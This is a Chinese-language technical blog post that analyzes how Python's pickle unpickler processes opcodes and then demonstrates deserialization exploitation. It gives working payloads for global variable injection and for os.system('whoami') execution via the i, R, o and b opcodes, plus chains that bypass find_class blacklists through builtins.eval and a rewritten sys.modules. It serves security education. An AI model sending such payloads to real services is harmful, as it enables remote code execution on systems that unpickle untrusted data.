Pickle反序列化源码分析与漏洞利用
2020-10-11 12:35:23 Author: xz.aliyun.com(查看原文) 阅读量:189 收藏

反序列化过程分析

pickle.dump()方法可以将对象序列化。

import pickle

class animal:
    def __init__(self,animal):
        self.animal=animal

test=pickle.dumps(animal("dog"))
print(test)
b'\x80\x03c__main__\nanimal\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00animalq\x03X\x03\x00\x00\x00dogq\x04sb.'

使用pickle.loads()方法反序列化字符串,查看一下loads方法的源码。

def _loads(s, *, fix_imports=True, encoding="ASCII", errors="strict"):
    if isinstance(s, str):
        raise TypeError("Can't load pickle from unicode string")
    file = io.BytesIO(s)
    return _Unpickler(file, fix_imports=fix_imports,
                      encoding=encoding, errors=errors).load()

跟进_Unpickler类的load方法,重点在下面这一段代码:

在dispatch字典中以opcode=>function的行式存放了许多方法,程序从序列化字符串中读取数据(opcode),程序通过opcode索引执行对应的方法.。

try:
    while True:
        key = read(1)
        if not key:
            raise EOFError
        assert isinstance(key, bytes_types)
        dispatch[key[0]](self)
except _Stop as stopinst:
    return stopinst.value

拿上面的序列化字符串当作例子,逐步分析整个序列化过程。

第一步:读取到\x80,通过dispatch字典索引,调用load_proto方法(接下来不再将函数贴出来,推荐自己配合源码阅读)

def load_proto(self):
    proto = self.read(1)[0]
    if not 0 <= proto <= HIGHEST_PROTOCOL:
        raise ValueError("unsupported pickle protocol: %d" % proto)
    self.proto = proto

程序继续读取一个字节,读取到\x03,它的意思是:这是一个根据三号协议序列化的字符串。

第二部:读取到c (GLOBAL操作码) ,程序往前读取两行字符串,获取域名空间与类名module=__main__,name=animal,调用find_class函数获取到animal对象,并压入栈stack中。

stack:[<class '__main__.animal'>]

第三步:读取到q(binput操作码),继续读取下一个字节为0,对应的操作为:将stack中栈尾的数据保存到memo字典中的0号位置(可以理解为逐步保存stack中的数据,方便之后调用)。

第四步:读取到)(EMPTY_TUPLE操作码),往栈中压入空的元组。

stack:[<class '__main__.animal'>,()]

第五步:读取到\x81(NEW_OBJ),弹出()赋值给args,然后再弹出<class '__main__.animal'>赋值给cls,在这里是animal对象,之后用cls.__new__(cls,*args)实例化该对象并压入栈中,在这里args为空,所以栈中任然是一个空的animal对象。

stack:[<class '__main__.animal'>]

第六步:读取到q\x01将上面实例化的对象保存到memo[1]中。

第七步:读取到},往栈中压入空的字典。

stack:[<class '__main__.animal'>,{}]

第八步:读取到q\x02将该字典存到memo[2]中。

第九步:读取到X继续向前读取四个字节代表字符串长度,\x06\x00\x00\x00获得字符串长度为6,接着继续往后读取六个字符animal,存入栈中。

stack:[<class '__main__.animal'>,{},animal]

第九步:读取到q\x03将上面的字符串保存到memo[3]中。

第十步:继续向前提取出dog并保存到memo[4]中。

stack:[<class '__main__.animal'>,{},animal,dog]

第十一步:读取到s(SETITEM操作符),弹出数据作为值,再弹出数据作为健,最后弹出一个数据 (一定要是字典类型) ,以键值对的形式将数据存入该字典中,{'animal':'dog'}`,并入栈。

stack:[<class '__main__.animal'>,{'animal':'dog'}]

第十二步:读取到b(BUILD操作符),从栈中弹出字典类型的数据赋值给state,弹出<class '__main__.animal'>赋值给inst,如果inst中存在__setstate__方法,则直接用setstate来处理statesetstate(state),如果不存在,则直接将state存入inst.__dict__中。

第十三步:读取到.,结束反序列化。

反序列化漏洞利用

从上面的反序列化过程我们可以看出,python的反序列化过程是完全可控的,接下来介绍几种常用的利用技巧。

全局变量引入

在碰到s操作码时,会弹出两个字符串作为键值对保存到字典中,我们可以通过c操作码来得到secret.best,再使animal=secret.best,这样就成功引入了全局变量。

import pickle
import secret
class animal:
    def __init__(self):
        self.animal="dog"
    def check(self):
        if self.animal==secret.best:
            print("good!")

code="your code"
pickle.loads(code)
payload=b'\x80\x03c__main__\nanimal\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00animalq\x03csecret\nbest\nq\x04sb.'

全局变量修改

c操作符是通过调用find_class方法来获取对象,而find_class使用sys.modules[module],name)来获取到相应的属性,sys.modules是一个全局字典,该字典是python启动后就加载在内存中。每导入新的模块,sys.modules会将该模块导入字典中。

在上述代码中,导入了secret模块,所以我们可以通过c操作符获取到secret模块并对secret.best进行重构,再基于此构造animal类。

payload=b'\x80\x03c__main__\nsecret\nq\x00q\x01}X\x04\x00\x00\x00bestX\x03\x00\x00\x00dogsb0c__main__\nanimal\n)\x81}X\x06\x00\x00\x00animalX\x03\x00\x00\x00dogsb.'

函数执行

与函数执行有关的操作码有r,i,o,b

i操作码

i操作码的代码如下:

def load_inst(self):
        module = self.readline()[:-1].decode("ascii")
        name = self.readline()[:-1].decode("ascii")
        klass = self.find_class(module, name)
        self._instantiate(klass, self.pop_mark())
    dispatch[INST[0]] = load_inst

首先通过find_class获得方法,然后通过pop_mark获得参数,并调用_instantiate函数来执行,并将执行的结果存入栈中。

def pop_mark(self):
    items = self.stack
    self.stack = self.metastack.pop()
    self.append = self.stack.append
    return items

相关操作是获取当前栈上的内容,然后将弹出前序栈重新赋值给当前栈,然后返回item作为参数。

所以我们首先用(操作符将当前栈stack中的内容存到前序栈中,通过i操作符获取到os.system并执行whoami指令。

payload=b'(X\x06\x00\x00\x00whoamiios\nsystem\n.'

成功执行os.system('whoami')。

R操作码

R操作码的代码如下。

def load_reduce(self):
        stack = self.stack
        args = stack.pop()
        func = stack[-1]
        stack[-1] = func(*args)
    dispatch[REDUCE[0]] = load_reduce

分析一下,弹栈作为参数(必须是元组),将栈中最后一个数据作为函数,并用执行结果将函数覆盖。

所以可以这么构造cos\nsystem\nX\x06\x00\x00\x00whoami\x85R\x85的作用是 将栈中最后一个数据变成元组重新入栈。

stack:[<built-in function system>,(whoami)]

成功执行os.system('whoami')。

payload=b'cos\nsystem\nX\x06\x00\x00\x00whoami\x85R.'

o操作码

o操作码的代码如下:

def load_obj(self):
        # Stack is ... markobject classobject arg1 arg2 ...
        args = self.pop_mark()
        cls = args.pop(0)
        self._instantiate(cls, args)
    dispatch[OBJ[0]] = load_obj

o操作码将函数与参数弹栈后,直接交给_instantiate执行,并将执行结果存入栈中。

payload=b'(cos\nsystem\nX\x06\x00\x00\x00whoamio.'

b操作码

在b操作码执行过程中,如果碰到自定义的__setstate__,就会执行以下代码。

setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
    setstate(state)
    return

如果存在__setstate__方法,就直接执行setstate方法,所以可以通过构造__setstate__来进行任意函数执行。

payload=b'\x80\x03c__main__\nanimal\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'

首先利用{'__setstate__': os.system}来BUILE一次animal对象,然后用whoami再次进行构造,由于存在__setstate__方法,此时state为whoami,所以成功执行os.system('whoami')。

WAF绕过

目前主要的漏洞利用都是通过find_class引入os.system等函数函数,所以可以通过重写fine_class添加黑名单等限制,来保护自己的程序。

黑名单绕过

构造getattr函数

可以使用builtins模块构造getattr函数,不再经过find_class,就能绕过WAF实现任意函数执行。

R操作码
payload=b'\x80\x03cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00get\x86Rp2\n0g2\ncbuiltins\nglobals\n)RX\x0C\x00\x00\x00__builtins__\x86Rp3\n0g0\ng3\nX\x04\x00\x00\x00eval\x86Rp4\n0g4\nX\x21\x00\x00\x00__import__("os").system("whoami")\x85R.'
o操作码payload=b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("whoami")o.'

通过builtins模块构造getattr,获得dict类的get方法,使用get方法取得__builtins__字典中的eval函数,然后使用__import__函数的导入os,成功执行os.system("whoami")。

绕过域名空间限制

重写sys.modules

之前说过find_class使用sys.modules[module],name)来引入模块,但是sys自身也在sys.modules中,所以通过s操作符使sys.modules['sys']=sys.modules,sys模块也就变成了sys.modules模块,然后引入sys.modules中的get方法,取得sys.modules字典中的os模块,再使用s操作符使sys.modules['sys']=os,当前sys模块就变成了os模块,最后成功执行os.system("whoami")。

R操作码
payload=b'csys\nmodules\np0\nX\x03\x00\x00\x00sysg0\nscsys\nget\np1\ng1\nX\x02\x00\x00\x00os\x85Rp2\ng0\nX\x03\x00\x00\x00sysg2\nscsys\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
o操作码
payload=b'csys\nmodules\np0\nX\x03\x00\x00\x00sysg0\ns(csys\nget\np1\nX\x02\x00\x00\x00osop2\ng0\nX\x03\x00\x00\x00sysg2\ns(csys\nsystem\nX\x06\x00\x00\x00whoamio.'

文章来源: http://xz.aliyun.com/t/8342
如有侵权请联系:admin#unsafe.sh